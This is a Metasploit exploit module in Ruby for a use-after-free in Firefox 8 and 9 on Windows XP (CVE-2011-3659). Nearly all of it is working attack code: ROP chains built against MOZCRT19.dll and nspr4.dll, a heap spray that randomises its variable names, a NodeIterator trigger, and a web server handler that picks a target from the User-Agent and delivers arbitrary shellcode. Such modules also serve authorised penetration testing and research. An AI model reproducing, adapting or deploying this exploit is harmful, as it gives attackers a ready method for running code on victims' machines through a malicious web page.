Firefox 8/9 AttributeChildRemoved() Use-After-Free

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free',  
'Description' => %q{  
This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.  
Removal of child nodes from the nsDOMAttribute can allow for a child  
to still be accessible after removal due to a premature notification  
of AttributeChildRemoved. Since mFirstChild is not set to NULL until  
after this call is made, this means the removed child will be accessible  
after it has been removed. By carefully manipulating the memory layout,  
this can lead to arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'regenrecht', #vulnerability discovery  
'Lincoln<lincoln[at]corelan.be>', #Metasploit module  
'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2011-3659' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'], #ZDI-CAN-1413  
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x34",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff" #ADD ESP, -5DC  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[  
'Windows XP - Firefox 8 / 8.0.1',  
{  
'Ret' => 0x0C0C0C0C,  
'OffSet' => 0x606,  
'Size' => 0x40000,  
'StackFlip' => 0x7818f50b, # XCHG EAX,ESP # POP EBP # POP EBX # RETN [MOZCRT19.dll]  
'PopEsp' => [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ],  
'FF' => 8,  
'OS' => 'XP'  
}  
],  
[  
'Windows XP - Firefox 9',  
{  
'Ret' => 0x0C0C0C0C,  
'OffSet' => 0x606,  
'Size' => 0x40000,  
'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]   
'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]   
'FF' => 9,  
'OS' => 'XP'  
}  
],  
[  
'Windows XP - Firefox 9.0.1',  
{  
'Ret' => 0x0C0C0C0C,  
'OffSet' => 0x606,  
'Size' => 0x40000,  
'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]   
'PopEsp' => [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]  
'FF' => 901,  
'OS' => 'XP'  
}  
]  
],  
'DisclosureDate' => 'Dec 6 2011',  
'DefaultTarget' => 0))  
  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def junk(n=4)  
return rand_text_alpha_upper(n).unpack("L")[0].to_i  
end  
  
def nop  
return make_nops(4).unpack("L")[0].to_i  
end  
  
def get_rop_chain(ffversion,osversion)  
  
# mona.py ROP chains  
  
rop_chain = []  
  
if ffversion == 8 and osversion == "XP"  
  
rop_chain =  
[  
0x7819c80a, # POP EAX # RETN [MOZCRT19.dll]   
0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]  
0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]  
0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll]  
0x7814eef1, # POP EBP # RETN [MOZCRT19.dll]  
0x781503c3, # & call esp [MOZCRT19.dll]  
0x781391d0, # POP EBX # RETN [MOZCRT19.dll]  
0x00000001, # 0x00000001-> ebx  
0x781a147c, # POP EDX # RETN [MOZCRT19.dll]  
0x00001000, # 0x00001000-> edx  
0x7819728e, # POP ECX # RETN [MOZCRT19.dll]  
0x00000040, # 0x00000040-> ecx  
0x781945b5, # POP EDI # RETN [MOZCRT19.dll]  
0x78152809, # RETN (ROP NOP) [MOZCRT19.dll]  
0x7819ce58, # POP EAX # RETN [MOZCRT19.dll]  
nop, # nop  
0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll]  
].flatten.pack("V*")  
  
elsif ffversion == 9 and osversion == "XP"  
  
rop_chain =  
[  
0x10019ee9, # POP ECX # RETN [nspr4.dll]  
0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]  
0x1000f994, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]  
0x10012ad0, # POP EBX # RETN [nspr4.dll]  
0x00000000, # clear ebx  
0x10006f41, # ADD EBX,EAX # XOR EAX,EAX # RETN  
0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]  
0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]  
0x10019ee9, # POP ECX # RETN [nspr4.dll]  
0x0c0c0c50, # xul.dll (Unicode string)  
0x1000eeb4, # POP EDI # RETN [nspr4.dll]  
0x1001f145, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary  
0x10004860, # POP EAX # RETN [nspr4.dll]  
0x1001f111, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]  
0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]  
junk, # win some, lose some  
0x00750078, # xu  
0x002e006c, # l.  
0x006c0064, # dl  
0x0000006c, # l  
0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]  
0x00A63374, # Delta to IAT VirtualAlloc()  
0x10018ada, # ADD EAX,EDX # RETN [nspr4.dll]  
0x10008ddf, # MOV EAX,DWORD PTR DS:[EAX] # RETN ** [nspr4.dll]  
0x1000a031, # POP ESI # RETN ** [nspr4.dll]  
0x1000a031, # POP ESI # RETN ** [nspr4.dll] (readable address)  
0x10013f1f, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]  
0x1000687b, # POP EBP # RETN [nspr4.dll]  
0x1001a59b, # & call esp [nspr4.dll]  
0x10012ad0, # POP EBX # RETN [nspr4.dll]  
0x00000001, # 0x00000001-> ebx  
0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]  
0x00001000, # 0x00001000-> edx  
0x1001069e, # POP ECX # RETN [nspr4.dll]  
0x00000040, # 0x00000040-> ecx  
0x1000eeb4, # POP EDI # RETN [nspr4.dll]  
0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]  
0x10004860, # POP EAX # RETN [nspr4.dll]  
0x10004860, # POP EAX # RETN [nspr4.dll]  
0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]  
].flatten.pack("V*")  
  
  
elsif ffversion == 901 and osversion == "XP"  
  
rop_chain =  
[  
0x1000bfc1, # POP ECX # RETN [nspr4.dll]  
0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]  
0x1000f986, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]  
0x1000f5ef, # POP EBX # RETN [nspr4.dll]  
0x00000000, # clear ebx  
0x10006f51, # ADD EBX,EAX # XOR EAX,EAX # RETN  
0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]  
0x1001ea03, # RETN (ROP NOP) [nspr4.dll]  
0x1000bfc1, # POP ECX # RETN [nspr4.dll]  
0x0c0c0c50, # xul.dll (Unicode string)  
0x1000eea6, # POP EDI # RETN [nspr4.dll]  
0x1000dda4, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary  
0x10004870, # POP EAX # RETN [nspr4.dll]  
0x10001ab4, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]  
0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]  
junk, # win some, lose some  
0x00750078, # xu  
0x002e006c, # l.  
0x006c0064, # dl  
0x0000006c, # l  
0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]  
0x00A63374, # Delta to IAT VirtualAlloc()  
0x10018acf, # ADD EAX,EDX # RETN [nspr4.dll]  
0x10008dd1, # MOV EAX,DWORD PTR DS:[EAX] # RETN ** [nspr4.dll]  
0x1000e0b8, # POP ESI # RETN ** [nspr4.dll]  
0x1000e0b8, # POP ESI # RETN ** [nspr4.dll] (readable address)  
0x10013f14, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]  
0x100162d5, # POP EBP # RETN [nspr4.dll]  
0x10019d12, # & push esp # ret [nspr4.dll]  
0x1000f5ef, # POP EBX # RETN [nspr4.dll]  
0x00000001, # 0x00000001-> ebx  
0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]  
0x00001000, # 0x00001000-> edx  
0x10007e46, # POP ECX # RETN [nspr4.dll]  
0x00000040, # 0x00000040-> ecx  
0x1000eea6, # POP EDI # RETN [nspr4.dll]  
0x1001ea03, # RETN (ROP NOP) [nspr4.dll]  
0x10004870, # POP EAX # RETN [nspr4.dll]  
0x10004870, # POP EAX # RETN [nspr4.dll]  
0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]  
].flatten.pack("V*")  
  
  
end  
  
return rop_chain  
end  
  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# determine the target FF and OS version  
  
ffversion = ""  
osversion = ""  
  
agent = request.headers['User-Agent']  
  
if agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/9\.0/  
vprint_error("This browser version is not supported: #{agent.to_s}")  
send_not_found(cli)  
return  
end  
  
my_target = target  
if my_target.name == 'Automatic'  
if agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/  
my_target = targets[1]  
elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0\.1/  
my_target = targets[3]  
elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0/  
my_target = targets[2]  
elsif vprint_error("This Operating System is not supported: #{agent.to_s}")  
send_not_found(cli)  
return  
end  
target = my_target  
end  
  
# Create the payload  
print_status("Creating payload for #{target.name}")  
  
rop = [ target['StackFlip'] ].pack("V")  
rop << get_rop_chain(target['FF'],target['OS'])  
rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))  
  
code = payload.encoded  
code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))  
  
popesp = target['PopEsp'].flatten.pack("V*")  
popesp_js = Rex::Text.to_unescape(popesp, Rex::Arch.endian(target.arch))  
  
filler = [ junk ].pack("V*")  
filler_js = Rex::Text.to_unescape(filler, Rex::Arch.endian(target.arch))  
  
# random JavaScript variable names  
i_name = rand_text_alpha(rand(10) + 5)  
rop_name = rand_text_alpha(rand(10) + 5)  
code_name = rand_text_alpha(rand(10) + 5)  
offset_length_name = rand_text_alpha(rand(10) + 5)  
randnum1_name = rand_text_alpha(rand(10) + 5)  
randnum2_name = rand_text_alpha(rand(10) + 5)  
randnum3_name = rand_text_alpha(rand(10) + 5)  
randnum4_name = rand_text_alpha(rand(10) + 5)  
paddingstr_name = rand_text_alpha(rand(10) + 5)  
padding_name = rand_text_alpha(rand(10) + 5)  
junk_offset_name = rand_text_alpha(rand(10) + 5)  
single_sprayblock_name = rand_text_alpha(rand(10) + 5)  
sprayblock_name = rand_text_alpha(rand(10) + 5)  
varname_name = rand_text_alpha(rand(10) + 5)  
thisvarname_name = rand_text_alpha(rand(10) + 5)  
attr_name = rand_text_alpha(rand(10) + 5)  
foo_name = rand_text_alpha(rand(10) + 5)  
bar_name = rand_text_alpha(rand(10) + 5)  
ni_name = rand_text_alpha(rand(10) + 5)  
small_name = rand_text_alpha(rand(10) + 5)  
addr_name = rand_text_alpha(rand(10) + 5)  
run_name = rand_text_alpha(rand(10) + 5)  
container_name = rand_text_alpha(rand(10) + 5)  
  
# corelan precise heap spray:  
# https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/  
# + trigger routine  
spray = <<-JS  
  
var #{rop_name} = unescape("#{rop_js}");  
var #{code_name} = unescape("#{code_js}");  
var #{offset_length_name} = #{target['OffSet']};  
  
for (var #{i_name}=0; #{i_name} < 0x320; #{i_name}++)  
{  
var #{randnum1_name}=Math.floor(Math.random()*90)+10;  
var #{randnum2_name}=Math.floor(Math.random()*90)+10;  
var #{randnum3_name}=Math.floor(Math.random()*90)+10;  
var #{randnum4_name}=Math.floor(Math.random()*90)+10;  
  
var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();  
#{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();  
  
var #{padding_name} = unescape(#{paddingstr_name});  
  
while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};  
  
#{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});  
  
var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};  
#{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);  
  
while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};  
  
#{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);  
  
#{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();  
#{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();  
#{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";  
eval(#{thisvarname_name});  
}  
  
function #{run_name}() {  
var #{attr_name} = document.createAttribute("#{foo_name}");  
#{attr_name}.value = "#{bar_name}";  
  
var #{ni_name} = document.createNodeIterator(  
#{attr_name}, NodeFilter.SHOW_ALL,  
{acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},  
false);  
  
#{ni_name}.nextNode();  
#{ni_name}.nextNode();  
#{ni_name}.previousNode();  
  
#{attr_name}.value = null;  
  
const #{addr_name} = unescape("#{filler_js}");  
var #{container_name} = new Array();  
var #{small_name} = unescape("#{popesp_js}")  
while (#{small_name}.length != 30)  
#{small_name} += #{addr_name};  
for (#{i_name} = 0; #{i_name} < 1024*1024*2; ++#{i_name})  
#{container_name}.push(unescape(#{small_name}));  
  
#{ni_name}.referenceNode;  
  
}  
JS  
  
# build html  
content = <<-HTML  
<html>  
<head>  
<meta http-equiv="refresh" content="3">  
<body>  
<script language='javascript'>  
#{spray}  
</script>  
</head>  
<body onload="#{run_name}();">  
</svg>  
</body>  
</html>  
HTML  
  
print_status("Returning HTML")  
  
# Transmit the response to the client  
send_response(cli, content, {'Content-Type'=>'text/html'})  
  
end  
  
end  
  
`